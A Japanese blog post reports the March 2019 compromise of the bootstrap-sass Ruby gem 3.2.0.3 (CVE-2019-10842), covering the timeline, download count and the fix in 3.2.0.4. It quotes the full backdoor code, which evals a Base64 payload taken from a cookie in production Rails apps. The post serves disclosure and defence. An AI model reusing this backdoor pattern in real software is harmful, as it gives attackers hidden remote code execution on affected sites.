セキュリティ: 3月26日のbootstrap-sass gem 3.2.0.3に危険なコードが含まれていた(影響を受けるサイトは少ない可能性)

訂正(2019/04/05): タイトル後半を「影響は小さい可能性」->「影響を受けるサイトは少ない可能性」に修正しました。また、「はじめに」のパラグラフを修正・追記いたしました🙇。 はじめに 3月26日に公開されていたbootstrap-sass gem 3.2.0.3に危険なコードが含まれていたという情報を記事にしました。 公開されていた期間が短かったこともあり、直接の影響範囲は小さい直接影響を受けるサイトは少ない可能性がありますが、取り込んでしまった場合の脆弱性が大きいため、最近bundle updateを行った方などは一度チェックしてみるとよいでしょう。詳しくは以下の元記事Bなどをご覧いただくようお願いします。 本記事は2019/04/05時点の情報に基づいています。 Ruby Weekly Issue 444: April 4, 2019 今朝公開されたRuby Weekly↑のトップに以下の元記事Aが掲載されていました。 元記事A: Malicious Package in bootstrap-sass | Snyk 詳しい元記事B: Malicious remote code execution backdoor discovered in the popular bootstrap-sass Ruby gem | Snyk 追記(2019/04/05) rubysec/ruby-advisory-dbにも登録されました↓。 Add CVE-2019-10842 - remote code execution in bootstrap-sass by eoinkelly · Pull Request #386 · rubysec/ruby-advisory-db 追記(2019/04/11) RubyGems.orgからダウンロードされてしまった3.2.0.3は1,477件あったそうです。 参考: 3.2.0.3? · Issue #1195 · twbs/bootstrap-sass 参考: show downloads and license information for yanked versions too by dwradcliffe · Pull Request #1946 · rubygems/rubygems.org 記事の概要 元記事Aによると、bootstrap-sassの 3.2.0.3にlib/active-controller/middleware.rbというファイルが含まれており、以下のコードが置かれていました。 # 同記事Aより begin require ‘rack/sendfile’ if Rails.env.production? Rack::Sendfile.tap do |r| r.send :alias_method, :c, :call r.send(:define_method, :call) do |e| begin x = Base64.urlsafe_decode64(e[‘http_cookie’.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s) eval(x) if x rescue Exception end c(e) end end end rescue Exception nil end 元記事Bで上のコードを以下のように簡単に解説しています。 rack/sendfileをrequireしている Railsアプリがproduction環境で実行されている場合にcallメソッドを改変する callメソッドのモンキーパッチによって、クライアント側から送信される___cfduidというHTTP cookieが読み取られ、Base64でデコードして動的なコードをevalしている。動的なコードの実行後は、元のcallメソッドが呼び出される。 参考: What does the Cloudflare cfduid cookie do? – Cloudflare Support — __cfduidについてのCloudflareの解説 上述の元記事Bの経過報告によると、このコードを含む3.2.0.3が何者かによって公開されたのは3月26日です(タイムゾーンや時刻は記事で示されていません)。その何者かは、その前にRubyGemsの正常な3.2.0.2を「yank」することで、問題の3.2.0.3が取り込まれるように仕向けていたようです。 そしてbootstrap-sassチームは同日の10:59PM(GMT)に対応を開始し、同日11:56PM(GMT)にはrubygems.orgからの3.2.0.3の削除とcredentialの更新を終えているとのことです。 つまり元記事Bの経過を見る限りでは、汚染された3.2.0.3が公開されていたのは1日足らずだったということになります。 現在は問題のコードはリポジトリから削除され、修正済みの3.2.0.4がリリースされています。汚染された3.2.0.3は現在rubygems.orgからは取得できないようになっています。 元記事Bによると、bootstrap-sassのメンテナーは2人で、どちらかのcredentialを奪われていた可能性が示唆されていますが、まだ公式な確認は取れていないそうです。 もし運悪くbootstrap-sass 3.2.0.3をRailsアプリに取り込んでしまっていた場合は、元記事Bにもあるように3.2.0.4にアップグレードすることで、メジャーアップグレードなしで問題を修正できます。 個人の感想ですが、今回のbootstrap-sassチームの対応の迅速さは見事だと思いました。 なお、bootstrap-sassはTwitterが公式に出しているgemです。現時点の最新バージョンは3.4.1(master)です。 リポジトリ: twbs/bootstrap-sass CVE NVD - CVE-2019-10842 — 現時点では「分析待ち」->その後「vulnerability」に変更されました(2019/04/23時点) 一般的な解説: CWE - CWE-506: Embedded Malicious Code (3.2) bootstrap-sassの関連issue 3.2.0.3? · Issue #1195 · twbs/bootstrap-sass Should I be able to download … Continue reading セキュリティ: 3月26日のbootstrap-sass gem 3.2.0.3に危険なコードが含まれていた(影響を受けるサイトは少ない可能性)